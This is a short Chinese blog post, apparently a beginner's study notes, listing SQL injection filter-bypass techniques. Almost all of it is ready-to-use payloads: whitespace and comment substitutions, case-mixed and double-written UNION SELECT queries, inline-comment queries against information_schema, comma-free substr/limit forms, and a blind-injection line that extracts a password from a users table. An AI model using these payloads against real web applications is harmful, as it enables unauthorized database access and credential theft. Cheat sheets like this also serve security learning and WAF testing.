Huajiの小窝.

sql注入绕过技巧

2024/12/31
loading

sql注入绕过技巧

刚学,大佬们轻喷()

空格绕过:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

数字注入可以使用科学计数法和小数:
1
2
3
?id=1.0 union select 1,2,3,4--

?id=1e0union select 1,2,3,4--

也可以使用括号,如:

select(user())from huaji where(1=1)and(2=2)

好像通常是在盲注中使用

?id=1'and(sleep(ascii(substr(database(),1))=109))--

and 和or绕过:

1
2
3
4
or    ||
and &&
xor |
not !

逗号绕过:

通常用from和offset

在盲注中很多函数都需要有逗号,比如substr()limit

select substr(database() from 1 for 1);

而对于limit

select * from huaji limit 0,1等价于

select * from huaji limit 1 offset 0

关键字绕过:

  1. 使用注释符

    /**///, #, --+, --, %00

  2. 使用大小写,如

    ?id=1' UniOn sELect daTabAsE(),2,daTabAsE(),4,daTabAsE()--+

  3. 双写绕过

    ?id=1' UNUNIONION SELSELECTECT 1,name ,1,1 FROM sqlite_master WHERE type='table'--

  4. 内联注释绕过

    id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

  5. 编码绕过

    如ASCII,HEX,URLencode绕过:

    注:urlencode需要用burpsuite发或者编码两次

  6. 拼接函数绕过

    select concat(‘123’,’456’);

等价函数或变量(来源于速查表):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

如果or被绕过了,会导致information_schema也不能用

CATALOG
  1. 1. sql注入绕过技巧
    1. 1.1. 空格绕过:
      1. 1.1.1. 数字注入可以使用科学计数法和小数:
    2. 1.2. and 和or绕过:
    3. 1.3. 逗号绕过:
    4. 1.4. 关键字绕过:
      1. 1.4.1. 等价函数或变量(来源于速查表):